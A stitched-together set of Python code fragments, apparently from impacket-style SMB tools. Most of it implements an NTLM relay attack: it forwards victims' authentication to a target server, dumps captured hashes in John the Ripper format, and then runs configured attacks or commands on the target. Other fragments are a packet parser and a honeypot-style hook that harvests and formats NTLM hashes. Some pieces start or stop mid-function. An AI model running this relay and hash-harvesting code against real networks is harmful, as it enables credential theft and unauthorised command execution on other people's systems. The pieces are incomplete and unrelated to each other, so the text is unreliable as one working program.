def do_lots(self, user, pwd_ansi, share, filename, domain=''): pkt = smb.NewSMBPacket() pkt['Flags1'] = 8 sessionSetup = smb.SMBCommand(self.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = smb.SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = self.get_session_key() sessionSetup['Parameters']['AnsiPwdLength'] = len(pwd_ansi) sessionSetup['Parameters']['UnicodePwdLength'] = len('') sessionSetup['Parameters']['Capabilities'] = self.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = pwd_ansi sessionSetup['Data']['UnicodePwd'] = '' sessionSetup['Data']['Account'] = str(user) sessionSetup['Data']['PrimaryDomain'] = str(domain) sessionSetup['Data']['NativeOS'] = str(os.name) sessionSetup['Data']['NativeLanMan'] = 'pysmb' # This is an example of how to use chained ANDX commands treeConnect = smb.SMBCommand(self.SMB_COM_TREE_CONNECT_ANDX) treeConnect['Parameters'] = smb.SMBTreeConnectAndX_Parameters() treeConnect['Data'] = smb.SMBTreeConnectAndX_Data() treeConnect['Parameters']['PasswordLength'] = 1 treeConnect['Data']['Password'] = '******' treeConnect['Data']['Path'] = share treeConnect['Data']['Service'] = smb.SERVICE_ANY openFile = smb.SMBCommand(self.SMB_COM_OPEN_ANDX) openFile['Parameters'] = smb.SMBOpenAndX_Parameters() openFile['Parameters']['DesiredAccess'] = smb.SMB_ACCESS_READ openFile['Parameters']['OpenMode'] = smb.SMB_O_OPEN openFile['Parameters']['SearchAttributes'] = 0 openFile['Data'] = smb.SMBOpenAndX_Data() openFile['Data']['FileName'] = filename readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX) readAndX['Parameters'] = smb.SMBReadAndX_Parameters() readAndX['Parameters']['Offset'] = 0 readAndX['Parameters']['Fid'] = 0 readAndX['Parameters']['MaxCount'] = 4000 pkt.addCommand(sessionSetup) pkt.addCommand(treeConnect) pkt.addCommand(openFile) pkt.addCommand(readAndX) # This is an example of how to make a loop with the chained commands # treeConnect['Parameters']['AndXCommand'] = self.SMB_COM_TREE_CONNECT_ANDX # treeConnect['Parameters']['AndXOffset'] = 72 self.sendSMB(pkt) pkt = self.recvSMB()
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] challengeMessage = self.do_ntlm_negotiate(client, token) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it connData['AUTHUSER'] = authenticateMessage['user_name'] self.authUser = connData['AUTHUSER'] clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID if self.target[0] == 'SMB': client.setUid(0) logging.error( "Authenticating against %s as %s\%s FAILED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info( "Authenticating against %s as %s\%s SUCCEED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': #TODO: Fix this for other protocols than SMB [!] clientResponse, errorCode = smbClient.login_standard( sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) #TODO: Fix this for other protocols than SMB [!] clientThread = self.config.attacks['SMB'](self.config, smbClient, self.config.exeFile, self.config.command) clientThread.start() #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) # Remove the target server from our connection list, the work is done del (smbData[self.target]) # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: if packet['ErrorClass'] != 0x16: return False print "SMB_COM_SESSION_SETUP_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 12: # Extended Security sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData[ 'SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) if struct.unpack('B', sessionSetupData['SecurityBlob'] [0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp( sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit( sessionSetupData['SecurityBlob']) token = blob['MechToken'] messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) else: # Standard Security sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) else: # Response if SMBCommand['WordCount'] == 4: # Extended Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data( flags=packet['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = smb.SPNEGO_NegTokenResp( sessionData['SecurityBlob']) if respToken.fields.has_key('ResponseToken'): # Let's parse some data and keep it to ourselves in case it is asked ntlmChallenge = ntlm.NTLMAuthChallenge( respToken['ResponseToken']) if ntlmChallenge['TargetInfoFields_len'] > 0: infoFields = ntlmChallenge['TargetInfoFields'] av_pairs = ntlm.AV_PAIRS( ntlmChallenge['TargetInfoFields'] [:ntlmChallenge['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: __server_name = av_pairs[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: __server_domain = av_pairs[ ntlm.NTLMSSP_AV_DOMAINNAME][1].decode( 'utf-16le') else: # Standard Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters( sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndXResponse_Data( flags=packet['Flags2'], data=sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? if 'relayToHost' not in connData: # Just call the original SessionSetup return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) # We have confirmed we want to relay to the target host. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] rawNTLM = False if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegState'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegState'] = b'\x00' # Done with the relay for now. connData['Authenticated'] = True del (connData['relayToHost']) # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = connData['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() LOG.info( "Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) # Done with the relay for now. connData['Authenticated'] = True del (connData['relayToHost']) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': #TODO: Fix this for other protocols than SMB [!] clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS:
def smbCommandHook_SMB_COM_SESSION_SETUP_ANDX(connId, smbServer, SMBCommand, recvPacket): # Accept any authentication except for empty authentication supplied_creds = False # The following is impacket code modified to extract credentials connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) # Process Standard Security respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data(flags=recvPacket['Flags2']) sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] # Let's get those credentials to_extract_from_session_setup_data = [ "Account", "AnsiPwd", "NativeLanMan", "UnicodePwd", "NativeOS", "PrimaryDomain", ] extracted_data = {} for key in (i for i in to_extract_from_session_setup_data if i in sessionSetupData.__dict__['fields']): extracted_data[key] = sessionSetupData[key] if 'AnsiPwd' in extracted_data: if len([i for i in extracted_data['AnsiPwd'] if i != "\x00"]) == 0: # It's null, we should just remove it extracted_data['AnsiPwd'] = "" elif len(extracted_data['AnsiPwd']) == 24: if 'UnicodePwd' in extracted_data and extracted_data[ 'AnsiPwd'] == extracted_data['UnicodePwd']: # Hash has been duplicated across fields, likely NTLM, not LM extracted_data['AnsiPwd'] = "" else: extracted_data['AnsiPwd'] = extracted_data['AnsiPwd'].encode( "hex") # long live Python 2.7 extracted_data[ 'AnsiPwd'] = "{1}:$NETLM$1122334455667788${0}".format( extracted_data['AnsiPwd'], extracted_data['Account'] if 'Account' in extracted_data else "") supplied_creds = True else: # its plaintext? lol supplied_creds = True pass if 'UnicodePwd' in extracted_data: if len(extracted_data['UnicodePwd']) >= 56: # NTLMv2 hmac = extracted_data['UnicodePwd'][0:16].encode("hex") rest = extracted_data['UnicodePwd'][16:].encode("hex") extracted_data[ 'UnicodePwd'] = "{0}::{1}:1122334455667788:{2}:{3}".format( extracted_data['Account'] if 'Account' in extracted_data else "", extracted_data['PrimaryDomain'] if 'PrimaryDomain' in extracted_data else "", hmac, rest) supplied_creds = True elif len(extracted_data['UnicodePwd']) == 24: # NTLMv1? extracted_data['UnicodePwd'] = extracted_data['UnicodePwd'].encode( "hex") extracted_data[ 'UnicodePwd'] = "{1}:$NETNTLM$1122334455667788${0}".format( extracted_data['UnicodePwd'], extracted_data['Account'] if 'Account' in extracted_data else "") supplied_creds = True conn_data = smbServer.getConnectionData(connId, False) extracted_data['client_ip'] = conn_data['ClientIP'] report_authentication_attempt(connId, extracted_data) errorCode = smbserver.STATUS_SUCCESS if supplied_creds else smbserver.STATUS_LOGON_FAILURE connData['Uid'] = 10 respParameters['Action'] = 0 smbServer.log( 'User %s\\%s authenticated successfully (basic)' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) respData['NativeOS'] = smbserver.encodeSMBString(recvPacket['Flags2'], smbServer.getServerOS()) respData['NativeLanMan'] = smbserver.encodeSMBString( recvPacket['Flags2'], smbServer.getServerOS()) respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData connData['Authenticated'] = supplied_creds smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. smbClient = smbData[self.target]['SMBClient'] clientChallengeMessage = smbClient.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) ############################################################# respToken = smb.SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. smbClient = smbData[self.target]['SMBClient'] authData = sessionSetupData['SecurityBlob'] clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob']) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] 